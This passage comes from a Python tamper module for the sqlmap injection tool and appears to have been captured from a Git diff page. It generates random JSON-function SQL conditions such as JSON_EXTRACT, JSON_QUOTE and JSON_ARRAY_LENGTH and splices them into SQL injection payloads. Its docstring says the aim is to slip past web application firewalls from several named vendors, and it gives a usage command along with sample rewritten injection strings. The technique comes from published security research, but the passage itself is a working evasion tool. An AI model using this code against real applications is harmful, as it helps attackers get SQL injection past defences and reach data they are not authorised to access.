						INT_FUNCTIONS = [generate_length_payload, generate_int_extract_payload, generate_int_extract_operator_payload]
 | 
				
			||||||
 | 
						return (random.choice(INT_FUNCTIONS))()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					# Possible STR payloads:
 | 
				
			||||||
 | 
					# 2) JSON_EXTRACT
 | 
				
			||||||
 | 
					# 2) JSON_EXTRACT Operator
 | 
				
			||||||
 | 
					# 3) JSON_QUOTE('null')
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_str_payload():
 | 
				
			||||||
 | 
						STR_FUNCTIONS = [generate_str_extract_payload, generate_quote_payload, generate_str_extract_operator_payload]
 | 
				
			||||||
 | 
						return (random.choice(STR_FUNCTIONS))()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_random_string(length=15):
 | 
				
			||||||
 | 
						str_length = random.randint(1, length)
 | 
				
			||||||
 | 
						return "".join(random.choice(string.ascii_letters) for i in range(str_length))
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_random_int():
 | 
				
			||||||
 | 
						return random.randint(2, 10000)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_length_payload():
 | 
				
			||||||
 | 
						rand_int = generate_random_int()
 | 
				
			||||||
 | 
						return f"JSON_ARRAY_LENGTH(\"[]\") <= {generate_random_int()}"
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_quote_payload():
 | 
				
			||||||
 | 
						var = generate_random_string()
 | 
				
			||||||
 | 
						return f"JSON_QUOTE('{var}') = '\"{var}\"'"
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_int_extract_payload():
 | 
				
			||||||
 | 
						return generate_extract_payload(isString=False)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_str_extract_payload():
 | 
				
			||||||
 | 
						return generate_extract_payload(isString=True)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_int_extract_operator_payload():
 | 
				
			||||||
 | 
						return generate_extract_operator_payload(isString=False)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_str_extract_operator_payload():
 | 
				
			||||||
 | 
						return generate_extract_operator_payload(isString=True)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_extract_payload(isString=False):
 | 
				
			||||||
 | 
						key = generate_random_string()
 | 
				
			||||||
 | 
						if isString:
 | 
				
			||||||
 | 
							value = generate_random_string()
 | 
				
			||||||
 | 
							return f'JSON_EXTRACT(\'{{"{key}": "{value}"}}\', \'$.{key}\') = \'{value}\''
 | 
				
			||||||
 | 
						value = generate_random_int()
 | 
				
			||||||
 | 
						return f'JSON_EXTRACT("{{""{key}"": {value}}}", "$.{key}") = {value}'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_extract_operator_payload(isString=False):
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						key = generate_random_string()
 | 
				
			||||||
 | 
						if isString:
 | 
				
			||||||
 | 
							value = generate_random_string()
 | 
				
			||||||
 | 
							return f'\'{{"{key}": "{value}"}}\'->> \'$.{key}\' = \'{value}\''
 | 
				
			||||||
 | 
						value = generate_random_int()
 | 
				
			||||||
 | 
						return f'"{{""{key}"": {value}}}" ->> "$.{key}" = {value}'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_payload(isString, isBrackets):
 | 
				
			||||||
 | 
						payload = '(' if isBrackets else ""
 | 
				
			||||||
 | 
						if isString:
 | 
				
			||||||
 | 
							payload += generate_str_payload()[:-1]  # Do not use the last ' because the application will add it.
 | 
				
			||||||
 | 
						else:
 | 
				
			||||||
 | 
							payload += generate_int_payload()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						return payload
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_random_payload():
 | 
				
			||||||
 | 
						if random.randint(0, 1):
 | 
				
			||||||
 | 
							return generate_str_payload()
 | 
				
			||||||
 | 
						return generate_int_payload()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def tamper(payload, **kwargs):
 | 
				
			||||||
 | 
						"""
 | 
				
			||||||
 | 
					        
 | 
				
			||||||
 | 
					    Bypasses generic WAFs using JSON SQL Syntax. 
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    For more details about JSON in SQLite - https://www.sqlite.org/json1.html
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    Tested against:
 | 
				
			||||||
 | 
					        * SQLite v3.39.4 - however every version after v3.38.0 should work
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    Usage:
 | 
				
			||||||
 | 
					        python3 sqlmap.py <TARGET> --tamper json_waf_bypass_sqlite.py
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    Notes:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    	* References: 
 | 
				
			||||||
 | 
					            * https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf 
 | 
				
			||||||
 | 
					            * https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
 | 
				
			||||||
 | 
					        * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
 | 
				
			||||||
 | 
					        * JSON techniques were tested againts the following WAF vendors:
 | 
				
			||||||
 | 
					            * Amazon AWS ELB
 | 
				
			||||||
 | 
					            * CloudFlare
 | 
				
			||||||
 | 
					            * F5 BIG-IP
 | 
				
			||||||
 | 
					            * Palo-Alto Next Generation Firewall
 | 
				
			||||||
 | 
					            * Imperva Firewall
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
 | 
				
			||||||
 | 
					          depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        Possible int payloads:
 | 
				
			||||||
 | 
								1) JSON_LENGTH()
 | 
				
			||||||
 | 
								2) json_depth
 | 
				
			||||||
 | 
								3) JSON_EXTRACT()
 | 
				
			||||||
 | 
								3) JSON_EXTRACT operator
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        Possible STR payloads:
 | 
				
			||||||
 | 
								2) JSON_EXTRACT
 | 
				
			||||||
 | 
								2) JSON_EXTRACT Operator
 | 
				
			||||||
 | 
								3) JSON_QUOTE('null')
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    >>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
 | 
				
			||||||
 | 
					    ''' ' and 5626=9709  and JSON_QUOTE('UG') = '"UG" '''
 | 
				
			||||||
 | 
					    >>> tamper('and 4515=8950')
 | 
				
			||||||
 | 
					    '''  and JSON_ARRAY_LENGTH("[]") <= 9100 '''
 | 
				
			||||||
 | 
					    """
 | 
				
			||||||
 | 
						retVal = payload
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						if payload:
 | 
				
			||||||
 | 
							match = re.search(pattern, payload)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if match:
 | 
				
			||||||
 | 
								pre = match.group('pre')
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								# Is our payload is a string.
 | 
				
			||||||
 | 
								isString = pre.startswith("'")
 | 
				
			||||||
 | 
								isBrackets = pre.startswith("')") or pre.startswith(")")
 | 
				
			||||||
 | 
								wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
 | 
				
			||||||
 | 
								retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							else:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								if payload.lower().startswith("' union"):
 | 
				
			||||||
 | 
									wafPayload = generate_random_payload()
 | 
				
			||||||
 | 
									retVal = f"' and {wafPayload} {payload[1:]}"  # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						return retVal
 | 
				
			||||||
		Loading…
	
		Reference in New Issue
	
	Block a user